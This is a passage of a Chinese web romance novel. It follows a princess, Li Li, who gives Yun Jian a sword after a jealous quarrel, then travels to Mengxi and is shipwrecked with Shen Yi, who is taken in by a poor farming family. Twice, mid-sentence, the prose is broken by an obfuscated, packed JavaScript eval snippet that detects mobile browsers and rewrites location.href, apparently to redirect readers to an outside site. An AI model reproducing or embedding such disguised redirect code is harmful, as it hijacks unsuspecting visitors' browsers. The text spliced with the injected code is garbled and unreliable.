黎梨举高了些伞,将他一并罩入伞下,二人之间只隔着细细一根伞杆,氛围却凝滞得出奇。 黎梨觉得往年与他三天两头吵架的时候,都没有这么疏冷。 她想了想,问道:“今日领任可还顺利?” 云谏垂下眼,看着她紧紧搂在怀里的油纸包裹,嘲讽地笑了声: “还记得我今日领任?” 饶是黎梨再迟钝,也察觉到了低气压,她抿了抿唇,不再说话了。 云谏却很想听听她的解释。 他抬手攥住她的胳膊,直接将她拉到自己面前,问道:“我同你说什么了?贼盗猖狂,我陪你会安全些,你倒好,好话说了一通,哄得我团团转,结果转身就自己去了京北。” “怎么,觉得我碍你事了是吗?” 臂间的力道强势得前所未有,黎梨有些被吓到,甚至不记得挣扎。 她小声说道:“并非故意哄你,今日出门是临时起意,我记着你的话呢,带足了侍卫……” “所以到底是为了什么?” 云谏听她的意思,知道她当真去了京北,还如此坦诚,甚至都不愿编个谎话骗骗他开心。 他再也无法自欺欺人,想起昨日书斋里的温声软语,便好似一口气梗在了胸腔之上,酸涩发麻,令呼吸都变得困难起来, 她发梢都被雨水打湿了,怀里的油纸包裹却护得干净,整洁得刺眼。 云谏艰难地挤出声来:“你就是为了这无谓东西,宁愿冒雨夜行?宁愿……” 毁了他们二人的约定? 原来于她而言,他的感受,还没有一幅画重要。 云谏自暴自弃地笑道:“你待他还真是情意无双啊,郡主大人。” 黎梨沉默了。 云谏心里酸苦泛滥,等不到她的回答,最后都成了话语里的尖刺:“好宝贝的东西,你下了马车都要亲自抱着呢?” “也不看看这边荒山野岭的,掉地上都没有鬼想要,你倒看得跟眼珠子一般……” 他执念难消,贬低得毫不留情,然而话音还未落完,黎梨就用力甩开了他的手。 云谏话语顿住,看见她眼眶渐渐红了,心中正是一紧,就有一物哐当摔到了他的身上。 “知道你看不上了。” “不要的话,你就扔了吧!”黎梨声音里带上了明显的哭腔。 云谏下意识抱住了她扔来的物件。 是那个长条的油纸包裹。 不同于想象中的轻盈画卷,这东西沉得压手,摔到他身上时哐当作响,硬梆梆地砸得骨头生疼。 他低头看去,油纸一端划落,内藏的湛湛寒光露了出来。 竟是一柄通体漆黑的长剑。 破开油纸,露出的剑身光泽锐利,即便在这场混沌雨夜里也傲骨铮铮地折射着寒光。 云间懵在原地,忽然想起,据闻锦嘉长公主的私藏里,有一柄出自名匠之手的长剑,通体乌黑,却光芒如雪,是难能一见的神兵利器。 而锦嘉长公主的私库……在京北。 这一刹那云谏被血液裹挟的百感冲得头脑发昏,好几息耳内都在嗡鸣,眼前漆黑一片。 直到血液稍微冷却,他反应过来,彻底慌了神。 完了。 他慌忙寻找黎梨的身影,却发现那道纤薄的身影走上雨间山路,已经走出了好远一段距离。 远方就是庞大的黑夜,似乎能连皮带骨生吞了她。 先前雨下得大,她明知他不太对劲,却仍遣走了自己的随侍马车,从不怀疑他会将她好好带回去。 结果他都做什么了? “黎梨!”云谏下意识喊道。 黎梨浑身冰凉,闷声往上走,不肯回头再看一眼。 然而很快长臂就从身后伸来,直接将她搂进了热气腾腾的怀里。 他用力抱紧了她,几乎将她整个人嵌入自己的怀抱中,好像生怕一不留神就让她隐入了黑夜里。 少年埋首到她肩上,吐息悉数落到她的颈边:“黎梨,都是我的错,我错得离谱,你打我骂我吧,别生气了。” 黎梨闻到熟悉得过分的花香气,不知怎么,方才控制得好好的眼泪一下子就憋不住了。 她低头去掰他的胳膊,眼泪却一滴滴全掉在他的袖子上,开口就是呜咽的哭腔:“你错什么了?是我自讨没趣,要去找那无谓东西给你做领任贺礼。” “那东西放荒山野岭,鬼都不想要,不怪你发脾气!” “别哭,别哭。” 云谏听着她抽泣的声音,险些要给她跪下:“你若生气,我让你捅两刀发泄都可以,真的可以。” 他将她转过来,手足无措地给她擦眼泪:“那是很好的一柄剑,我心里很欢喜。” “方才是我混账,我乱吃醋,以为那是旁人的物什,才说出那些该死的话,害你这样伤心。” 黎梨将脸半埋着在他的前襟上,云谏哄得口干舌燥,只觉这姑娘的泪珠子怎么擦都擦不完,一颗颗直接往他心头砸 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云谏:“以后我再欺负你,你就调兵来活剐了我。” 黎梨终于破涕为笑:“你是不是有什么毛病?” 见她终于展颜,云谏松了一口气:“我确实病得不轻。” 二人的伞也歪了斜了,他想了想,拉着她找了个山石交叠的缝隙避雨。 “待雨停了再走吧。” 云谏从石缝里扒出些许干枝碎叶,好歹生了火暖暖身子,又将马儿牵来,把先前买的糕点递给黎梨。 他自己坐在一边,翻来覆去看着自己的新剑,爱不释手:“我要把它带进自己的棺材里。” 黎梨小口吃着糕点,轻哼了声。 夜雨淅沥,击石声慢慢,折腾了一场,黎梨坐不了多久就开始揉眼睛犯困。 云谏叫她靠到自己肩上:“你睡一会儿,若雨停了,我叫醒你。” 雨夜易眠,柴火也融融烧了半夜,不知何时才缓缓熄灭。 石缝中的凉快逐渐显露出来,黎梨没多久就循着热量滚下了云谏的肩膀,枕到了他的腿上。 云谏放下手里的剑,替她拨开落到脸颊上的发丝,借着山道边上隐约的石灯光亮,看见她娇红的眉眼,似乎还能看出泪痕。 他暗骂自己一句真是该死。 许是睡得不舒服,又或是被他的动静惊扰了,黎梨迷迷糊糊翻了个身,面朝向他。 云谏觉得她这样离得有些近了,难免不大自在,就想将她的脑袋往外移,谁知黎梨半梦半醒地拍开他,随意就将手搭在了他的腰带下方。 陌生的触感传来,云谏神情僵了。 燎原之火起得突然,苗头很快就不受控制地就窜成了树,擦着她的手心,顶到她的额边。 脊骨顿时麻了一半,云谏倒吸一口凉气,竭力忽略着感觉,想要移开她的手。 黎梨本就睡得不舒服,更不乐意了,推着他含糊道:“你别动……” 她隐约觉得有什么挡在脸边,便将手按了下去,几乎握在了手心里:“你让我再睡一会儿……” 云谏头皮都要炸了,在这道轻柔束缚感中,他气息乱得急促,忍着声去掰她的手:“不可以黎梨,再握下去,你今晚都别想睡了。” 黎梨神思迷蒙,似乎听出了威胁,不由得委屈了起来。 他不是才检讨了自己混账,不该欺负她的么?怎么才一会儿又变卦了,还有…… 他一直拿剑戳她做什么? 黎梨手里握着剑柄,有些不服气,却发现这剑也是个转眼不认人的,才被她送出去,就只听云谏的话了。 在她手里很不服管教似的,偶尔随云谏的呼吸跳一下,甚至拍到她的脸上,简直是要造反了。 黎梨可不受这样的气,要将它拔出剑鞘来教训,然而才来回拔了两下,就猛然被人攥住了腕子,一把将她拉了起来。 黎梨骤然惊醒过来,几乎懵了一瞬。 “怎,怎么了?” 云谏深深呼吸,攥着她的手也是僵的,半晌才勉强平复些。 “……雨停了,我们回去吧。” 雨夜冲净了浮尘,清澄的空气缓缓沁入鼻息,格外助人心定。 云谏走得极慢,拖了许久才将自己的马牵过来,黎梨好奇地打量着。 云谏:“第一次骑马?” 黎梨点点头。 云谏:“没事,交给我就好。” 他看了眼她的繁琐裙衫,示意她将手搭上他的肩。 黎梨依言抬手。 他还要略弯些腰迁就她,黎梨见着他俯身过来,而后腰间一紧,有道箍力将她稳稳托上了马背。 她还未反应过来,云谏便紧跟着上马坐到她身后。 他伸手去拉马缰,十分自然地将她按到自己怀里。 “我慢慢骑,天还未亮,你可以再睡一会儿。” 二人一路不再说话,云谏门清路熟,挑了最平稳的道路绕山而行,很快就察觉到她的呼吸渐渐放缓了。 ……还真能睡着啊。 云谏环抱着她,怀里的人倚靠得放心托胆,青丝就蹭着他的下颌,随着马步晃荡。 这样的亲近,一个月之前,他甚至想都不敢想。 于是身下的马走得更慢了。 短短一程山路,愣是走了小半夜,直到临近日出,巍峨的学府终于隐隐出现在远路尽头。 黎梨似有所感,半梦半醒间浅浅抬眼,碰巧就撞见万道霞光自东方天际迸发而出。 日出了。 明华蔓延过来,眼前的葱绿山川被晨光寸寸照亮,将昏暗凉秋向后驱散,今晨的第一道暖意落到相依的二人身上。 “真好看,云蒸霞蔚,比佛寺的塑像金光漂亮多了。” 她迷迷糊糊地,拍拍云谏的手:“那你许个愿吧。” 云谏看着初霞落在她脸上,像覆了层光亮金边,毛绒又柔和,他在心里回道,他的愿望许向佛祖、许向新阳都没有用。 但她要求了,他倒是可以许向她。 “好。” 少年半搂着怀里的人儿,嗓音虔诚:“我想娶你。” 22. 蒙西 黎梨真正清醒过来时,已经安安稳稳地睡在舍馆的床榻上了。 侍女们早已为她整理好了今日出行的行装,紫瑶见她睡醒,忍不住再次劝说:“蒙西路远,没人照顾怎么行?郡主好歹将我带上……” 黎梨懒洋洋支起身,发现云谏的鱼符还系在自己腰间,便将它小心取了下来,说道: “这次是出门办差的,旁人都不带侍从,若我带了,岂不叫人看轻?” “再说了,户部也有妥帖的内侍随行,你们不必太担心。” 紫瑶唉声叹气着,显然没有被说服,黎梨心里却还有别的打算。 难得出一趟远门,自然是要无拘无束才能过瘾,若是奴仆成群,左拥右簇的,那与在京城行走有何区别? 待祭了香,拜了旗,满腔期待更浓。 黎梨兴致盎然踏上了蒙西之行,却没想到,坐上马车的第一日,就被狠狠地浇了几盘冷水。 户部走的是官道,沿途平整宽阔,不乏经过平原易野。 旁人还好,但云谏自幼长在边关绿洲,回京之后再少见到茵草如浪涛的草原,望着宽广前路,不多时就释放了天性,畅快淋漓地扬鞭奔驰起来。 黎梨掀起马车帘子,看见他躬身策马得恣意,长鞭一挥,草尘一滚,墨发意气扬起,绛红衣袍快得像道闪电,转眼就没入了远方林道。 他记得分寸,不多时又折返回来,痛快欢呼一声继续纵马跑了个没影。 来回几趟下来,其余少年们也被他引得心潮澎湃,纷纷像放出了笼的飞鸟,快马疾驰得自由无边。 黎梨看看马车里另两位乖巧读书的千金,再望望外头的欢悦笑声,简直嫉妒得眼睛疼。 许是她眼神里的渴望太过明显,云谏很快就来到了车窗旁。 少年纵马兴奋得胸腔起伏,一身蓬勃热血,才靠近窗边,明亮阳光就裹挟着热风传了进来。 车里的凉秋气氛瞬间被冲乱,一下紧张了不少。 黎梨微微放下了些帘子。 云谏没往马车里乱看,眼也不眨地望着车檐下的一串祈花,唤她的名字。 “想骑马吗?我带你。” 黎梨眸光瞬间一亮,立即探出脑袋:“可以吗?” 四面八方瞬即投来视线,后面车驾上还有人不轻不重地咳了两声。 黎梨听见了,沉默片刻后又退了回去:“不用了。” 户部那群老古板不会答应的。 他们大概只希望自己安安分分地待在马车里,一点差错都不要有地去到蒙西,再回来京城。 哪里会答应让她骑马? 而且……当着一群看着她长大的、叔伯辈分的京官面前,她也不敢放肆地骑到云谏的马上去,不然唠叨声恐怕能将她的耳朵磨出茧子来。 马车轻微颠簸了下,黎梨终于意识到这段行程不像自己想象的那般轻松,甚至可能会十分难熬,恹恹地放下了窗帘。 她忍气吞声将这样的日子过了五日。 直到第六日的傍晚,一行人停在客栈歇脚,小郡主甫一站起,就发现自己两条腿麻得在打颤,甚至连掐了几下臀部都快感觉不到疼了。 当真是要把人坐废了! 身心俱疲,黎梨彻底憋不住了,跳下车就拉着萧玳嗷嗷哭:“天天关在车里,这和坐牢有何区别!” 萧玳吓了一跳,连忙给她递帕子:“迟迟别哭,快到蒙西地界了,再过三日,入了县城就好了。” 黎梨宛若雷劈,眼泪都被劈了回去:“还得再过三日?” “骗人!” 她指着沈弈不忿道:“我都听见了!沈弈明日就能离队,我也要离队!” 沈弈哭笑不得:“郡主,我离队是因为要先去乡野里视察,需要换行水路,不是去玩的……” 黎梨站着都觉得两条腿不属于自己了,再也不愿回去那架要命的马车。 她想也不想:“那我也要去乡野视察!” 云谏蹙起眉:“不行,乡里环境如何还不得知,你手无缚鸡之力,还是个外地姑娘,瞧着就叫人觉得好欺负,贸贸然过去实在危险,还是与我们入县更安全。” 黎梨看着他,又憋出了一包眼泪:连你也不帮我! 云谏顿了顿,放缓了声安慰道:“古话说‘穷山恶水出刁民’,不是没有道理的,我们哪敢让你冒进?” “且再忍几日,到了蒙西县城,我陪你四处逛逛可好?” 黎梨这才明白以一敌众多么困难了。 她挺直脊背站在原地,环视着面前的三个男人,渐渐攥紧了手边的衣裙。 片刻后她一声不吭,转身摔门进了房。 剩下三人险些被房门打到鼻子,扇起的冷风厚重,好像打了他们一记耳光。 萧玳哑了哑,望着紧闭的房门,叹气道:“……难办。” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976697|134588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弈:“难办。” 云谏:“当真难办。” * 翌日清晨,众人送沈弈去乘船。 今日天气算不得好,风啸云涌,远处天际黑压压的一片,这样的天气乘船,总令人有些忐忑。 这次能出门来蒙西,沈弈帮了很大的忙,萧玳不免待他宽厚,好声安慰着:“幸好你要去的梧州乡距此很近,应该日内就能达到,用不着在水路上颠簸太久。” “等我们到县城安顿好了,就去梧州找你。” 沈弈点点头,又欲言又止地往后看:“郡主她……” 云谏看着空落落的身旁,头疼地按了按额角。 萧玳苦笑:“闹脾气呢,不肯出房门,回去有得好哄。” “没事,交给我们就是,你且安心登船。” 码头的客船常年来往梧州乡,因着距离颇近,所以两层的小船并不算太大,待收了锚,起了帆,便轻盈地驶出了距离。 沈弈来到甲板之上,很快感受到了河浪的汹涌,一袭青衣也在狂风中扑簌如蝶,心中隐隐觉得有些不安。 他眺目望去,云、箫二人仍站在岸边。 萧玳竭力朝他挥挥手:“祝你顺风。” 得了友人的祝福,他好受一些,也远远地挥手回道:“谢——” 沈弈话语顿住。 只见岸上那两人忽然变了脸色,收住手势朝他狂奔过来,用不着几步就翻上了码头的栏杆。 竟然是要跳下河追过来的模样。 幸好身边的人反应快,飞扑上前将他们死死抱着按落在地,不然那两人都已经落水了。 他们仰着头,似乎在大声朝这边喊着什么。 沈弈心里暖暖的。 五殿下与云二公子真舍不得他啊。 他挥手挥得更用力了:“知道了,别再送了,快些回去吧——” “对呀,快回去吧!”一道清清脆脆的嗓音也在旁边喊起。 余光里,有片浅色披帛轻纱随风扬起。 他身边不知何时多了一人,正同他一道朝岸上挥手。 沈弈后脑勺逐渐麻了,缓缓转过视线。 黎梨就站他身旁的甲板上,一手撑着栏杆,背对着灰沉河浪,朝他笑得一脸灿烂。 沈弈终于明白岸上那两人是怎么一回事。 他险些就想跪了—— 要命啊!这祖宗怎么在船上! 23. 揪心 沈弈面色如灰:“郡主,你若有个三长两短,我会死无葬身之地的……” 黎梨深深吸了一口自由的空气,在风浪中神清气爽:“怕什么,那我好好的不就行了。” “……” 沈弈看着她展臂抱住一团和风,青丝飞扬,每一根都写着“放肆”两字,半晌后他憋出一句萧玳每日都对她说的话。 “跟紧我,可千万别出岔子了……” 然而这句话的落实委实是难,倒不是黎梨又整幺蛾子,而是天公出了问题。 客船行至下游水段,距桐洲乡还有十余里路时,狂风暴雨来得突然。 天色黑得像是深夜,暴雨如鸣,骇雷声随之炸响,弯曲粗壮的电光直接撕破天穹,劈到远方河面之上。 豆大的雨水坠落敲打船身,似乎要把这艘小船凿穿,众人听得心中惶惶,只觉双脚之下掀起汹涛,小小的客船像枚脆弱的松子,在滚浪中被高高抛起,又重重砸落。 黎梨压根无法站稳,几下就被摔得滚落船板,幸得沈弈一把拉着她,二人抱到一根船柱边上才不至于满地乱撞。 祸不单行,颠簸之中河水猛灌而入,船身转瞬歪了大半,木料的吱呀破碎声响毫无间断,身旁的客人们惊恐地喊着:“这是怎么了?船长呢?船长!” 黎梨被窗户洒进来的雨水浇了一身,她仰起脸来,瞧见甲板上的船工们在风雨中摇摇晃晃,好生艰难才收起了船帆,有位船长模样的老头子连声高呼着:“靠岸!往岸边靠去!” 她的心逐渐沉了下去,行河宽阔,还未到目的地码头就着急着靠岸,恐怕是船长知道这艘船要坚持不住了。 “郡主,别担心,河间风浪总是有的,我们捉紧就行……” 沈弈脸色都白了,嘴里胡乱安慰着她,实则心底也没有谱。 他长在边关苍榆,那儿没有这么宽阔的河,他也是第一次见到如此骇人的河浪。 黎梨慌到尽头却生出了几丝镇定,京郊河流不少,偶有踏青游人落水,她也见过些落水求生的场景。 趁着船帆收起,船身倾翻得缓慢了些,她拉着沈弈滚到一扇松垮隔门前:“快,将它拆下来。” 沈弈隐约明白她的意思,忙撑起身将门踹了下来。 此时小船距离河岸还有相当远一段距离,但翻滚的河水已经灌满了大半船舱,船工们也折了回来,叫大家拆些船板、船柱出去。 关键时刻,说不定还得靠浮木求生。 黎梨拿披帛将二人的手系到木门上,嘱咐沈弈道:“待会儿扒稳了。” 此话才落,又是一个巨浪迎面拍来,船舱后头的薄框几乎被拍烂,强大的水浪将众人冲击上甲板,黎梨在混乱中不知被什么狠力撞到了肩背,疼得眼冒金星,还未反应过来就随众人顺着船只倾斜的角度栽进了河里。 河水冷得刺骨,肩背上的疼痛令黎梨喉间一阵腥甜,满耳都是浪声,只依稀听见沈弈大声喊着她,在意识丧失之前,她竭力趴上了木门。 * 碗勺的轻微碰撞声在耳边响起,黎梨半迷半醒,隐约听见几道交谈声。 “二姐二姐,她还没醒吗?” 黎梨还未睁开眼,听见陌生的喊叫声音,下意识觉得不安,而后有人将她扶起少许,一个硬质的东西抵到了她的唇边。 黎梨本还想咬紧牙关,却不想一吸气就是清甜的香味。 她怔怔松了唇,一口清汤被灌进了她嘴里。 方才那喊声又起来了,这时听着才发觉嗓音十分稚嫩,像个垂髫小男孩。 “鸡蛋汤好香啊……”他好像趴床边深深吸了一口气。 一道稍长几岁的女孩嗓音笑了起来:“三娃不许嘴馋,大哥说了,大难不死之人,寿火总是虚浮的,得吃些油荤才能把命稳住。” “我们家里就剩这几个鸡蛋算得上油荤,还不够这俩可怜人补身子的,你可不能再贪嘴抢吃。” 那叫三娃的小男孩嘟嘴道:“我只是闻闻罢了,二姐就是啰嗦。” 两小孩玩笑着,黎梨终于攒足了力,呛咳了声,艰难撑起一条眼缝。 “大姐姐,你醒了?”那女孩惊喜放下了碗勺,又将她扶起了些。 屋内光亮不算太足,黎梨勉强支着眼,入目便是破败的黄泥墙壁,脱落的墙皮敞露出零散不齐的墙砖,整间房子脆弱得似乎手指一推就能推倒。 “大姐姐感觉怎么样?”身边的女孩瞧着十岁出头,小脸蜡黄,扎了两根稀疏小辫,十分体贴地给她顺了顺背。 “是你们救了我?”黎梨沙哑着声问道。 小女孩还未张口,身旁就传来一道“咕”的腹鸣声,黎梨往旁望去,就见那叫“三娃”的小萝卜头慌忙将视线从鸡蛋汤上收回,满脸通红地钻到姐姐身后。 黎梨不免觉得有些好笑,将床边的汤碗朝他推了推:“吃吧。” 小萝卜连连摇脑袋。 那小女孩拦住黎梨:“大姐姐,你吃就是。” “前日我们洗衣服的时候,在河边发现了你们,旁人都说你们要没气了,大哥不忍心,说是万一能救活呢,就硬是带了你们回来,果然喂了几碗汤,那哥哥就醒了。” “但大姐姐身子弱,醒得好不容易,千万别跟我们客气。” 黎梨瞧着这间破落将颓的小房,还有面前这俩瘦得似乎没吃过饱饭的孩子,只觉那碗清水似的鸡蛋汤有些烫手。 她缓了缓劲,待力气恢复了些,便将汤碗塞到了三娃手里,笑道:“我已经没事了,与我一起的哥哥呢?可否带我去看看他?” 小女孩犹豫了下,乖巧将她扶起来:“沈哥哥正在帮我大哥正骨呢,我带姐姐过去。” 正骨? 沈弈还有这本事? 黎梨站起歇了会儿,慢慢抬步往房外去。 两扇木门之外,男子们的交谈声隐隐传来。 “今日从山上滚下来了,”青年疼得在呲牙,“那药草生得太险,我一不留心就踏了空,结果就这样了……” “让我看看。”是沈弈的声音。 过了片刻,他应道:“常大哥放心,我自幼在边关长大,见多了筋骨伤痛,还有几分经验。你这不是骨伤,是伤了筋肉,卧床休息几日即可。” 青年稍松一口气,声音里仍有些犹豫:“非要卧床吗?” 沈弈:“当然,你的伤处肿得厉害,下床劳作的话,恐怕会变得更加严重,说不定还会留下病根。” 伴着两道话音,黎梨来到门厅,撑着木门,眯眼适应屋外的阳光,渐渐看清院子里的身影。 那姓常的青年撩起一条裤管,脚腕上肿了碗大的一个包,面上愁容遮也遮不住。 “小公子不知,我实在没法卧床……过两日便是缴纳田赋的日子,我得尽快将今日摘的药草卖出去,换些银钱回来,不然无法应对官差们的收缴啊……” 黎梨瞧着这房子的残破,对这家人的潦倒已有预知,但再一细看又觉得有些不对劲。 沈弈显然也发现了问题:“可是常大哥……” “我瞧你们屋角院落都堆着不少粮谷,应该足够缴纳一家人的田赋了,甚至还能剩下不少余粮才对,怎么你们日子过得这般艰难?” 青年苦笑着摇摇头:“以往桐洲受锦嘉长公主管领的时候,这些粮谷应对田赋确实绰绰有余,但如今……” 他叹气道:“扣去我与家中弟弟妹妹的口粮,还差上一大截呢,只能平日里再摘些药草,卖了填补空缺。” 黎梨远远望着那青年深陷的脸颊,站她身边的两个小家伙也是瘦得骨头能膈人,她不用猜都知道对方所谓的“扣下口粮”,恐怕只够一家子勉强充饥而已。 听他说这里是桐洲,到底曾是母亲的封邑,黎梨忍不住开口问道:“圣上不是要在蒙西三乡试行税赋新政么?” “听闻新政极利于百姓,你们的田赋没有削减么?” 听到门边的声音,院子里的二人纷纷看过去,沈弈惊喜站起:“郡——” 黎梨轻咳了声。 沈弈一顿,结结巴巴改了口:“黎梨……” “小姑娘醒了?”姓常的青年连忙将自己的裤管放下,又朝弟弟妹妹轻声责怪道,“二丫,三娃,怎么不懂事,连个凳子也不给人家搬?” 黎梨连忙拦了:“无妨,我无大碍了。” 她记挂着方才的话题,接着问道:“常大哥,即便田赋没有削减,那也不该多缴才对。” “怎么新政下来后,你们过得比先前更困苦了呢?” 常大哥笑得苦涩:“我们小老百姓大字不识,哪懂这些,不过是上面要收,我们就交罢了……” 黎梨与沈弈对视了一眼,多少明白户部特意派人来乡野视察,想必是背后遇到了什么阻碍。 黎梨没多纠结,径直摸向自己腰间:“这次多亏了常大哥相救,我与沈弈才能拣回一条性命,听闻你们正为田赋发愁,不如……” 她摸了摸,指尖却探了个空,低头才发现自己原来的衣裳早已换了,身上套了件朴素麻布裳,腰间的荷包早已不知所踪。 她神情茫然了一瞬。 沈弈了然,笑得尴尬:“黎梨,我们落了一遭水,东西都丢在河里了。” 常二丫也怯生生解释道:“姐姐,我替你换衣裳的时候看了,荷包敞了口,里面的银钱都被冲走了……” 这么一提,黎梨倒是记起了些别的事情,连忙往自己发间一摸,发觉母亲留给她的红玉簪子还在,心神稍定,又紧忙问道:“可还见到我身上带着的其他物件?” 常三娃啪啪地跑回房,拿了两物出来:“还有这两样。” 黎梨瞧见脂白的玉佩与鱼形的令牌,总算松了一口气。 幸好云家的藏库信物与云谏的鱼符也在,这两样到底是别人的物什,指不定是要还回去的,若是丢了就不好交待了。 白忙活一通,黎梨有些尴尬,受了常家颇多照顾,她与沈弈却腰财空空,一点忙都帮不上…… 常大哥瞧出她的意思,摆手笑了起来:“小姑娘不必在意,待我卖了今日的药草,这个月的田赋便差不多了。” 说着他用力撑着椅子起身:“我正准备去乡里集市一趟呢,到时候卖了药草,顺便带块筒骨肉回来,给你们煨口汤喝。” 青年腿疼得哆嗦,却仍朝他们笑得憨厚:“大难不死,就是要多沾些烟火味,才能滋养活气咧……” 黎梨忽地想起方才刚苏醒时的不安,她甚至连嘴唇都不敢张开。 但如今周身干爽,嘴巴里还留着鸡蛋汤的清甜,她看着一瘸一拐的清瘦青年,再也忍不住了。 黎梨几步上前扶住对方:“常大哥,沈弈不是说你要多卧床吗?” 见他看来,她认真说道:“你好好休息,这些草药,我们帮你带去乡集市卖了吧。” “一定分文不差地给你带回来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想想她叫自己“夫君”的模样,沈弈打了个冷颤:“不行,云二公子会杀了我的。” 黎梨苦恼琢磨片刻,忽然一拍沈弈脑袋,喜笑颜开。 “我有办法了!” * “到底怎么回事……” 桐洲乡街头,一位城防士兵困得直打哈欠:“才下值呢,就被捞来这乡里……” “嘘,别多嘴,”旁边的另一位城防士兵按住他,小声道,“据说是上头弄丢了什么人,正在找呢。” 其余人都好奇围了过来:“丢了谁啊?” 底下窸窣着,云谏与萧玳脚步沉沉地从后走了上前。 二人眼下乌青,显然是日夜兼程赶到了这里,听闻沈弈没拿官凭在县乡报道,一刻都坐不住了,甚至等不及户部的人过来与当地衙门通气,云谏直接拿了武官的官凭调了一支蒙西城防兵过来。 他望着底下众人,吩咐道:“京中有两位贵人失了联络,辛苦各位仔细找找,若发现任何线索,必有重赏。” 听闻有赏,众人都打起了精神,领头的城防士兵忙掏出纸笔。 “云大人,既要寻人,劳烦说说那二位贵人有何特征?” 两日听不到黎梨的音信,萧玳急得口舌发干:“有一位十七八岁的姑娘……” 云谏利落接道:“桃花眼,皮肤白,十分貌美,身量纤巧,大约到我这儿。” 他往自己肩下比划了下,又补充道:“性子很活泼,最爱往人多热闹处去,常穿浅色裙衫,会簪红玉簪,身上可能带有脂白玉佩与鱼形木牌。” 萧玳甚至插不上话,目瞪口呆望着他。 领头的士兵连忙记了下,又问道:“好,那另一位贵人呢?” 云谏答道:“是一个男的。” 领头士兵的笔依言写完,停着半空半晌也没等到下文,他在漫长的安静中茫然抬头:没了? 一个男的? 就这? 他额边滑了滴冷汗,干笑两声道:“大人,不如咱们说得再仔细一些……” “等等!” 远处忽有士兵叫了声:“桃花眼,人多热闹处,那边集市上不就有一个吗!” 这一声如同惊雷。 那边集市就有? 那士兵叫完又有些犹豫,小声道:“可是……” 云谏耳内嗡鸣一片,全然听不见他后面的嘀咕。 云谏直接转身就大步赶去,果然刚靠近集市听见了十分熟悉的声音,还未来得及惊喜,他的心又揪了起来。 “各位好心人可怜可怜我吧,我实在走投无路了……” ……她在哭。 云谏三两下就拨开面前的人群冲了进去。 只见他心心念念的少女跪坐在地,一张小脸梨花带雨,正趴在直挺挺躺在地面的沈弈身上,哭得撕心裂肺的。 “好心人们买点药草吧,让我买口棺材,埋了我可怜的爹爹,呜呜呜……” 两人身边白纸黑字,“卖药葬父”四个大字赫然在目。 “他都快要臭了,呜呜呜……” 云谏:“……” 萧玳后知后觉赶来,一看惊得捂嘴:“沈弈死了?” 云谏:“……”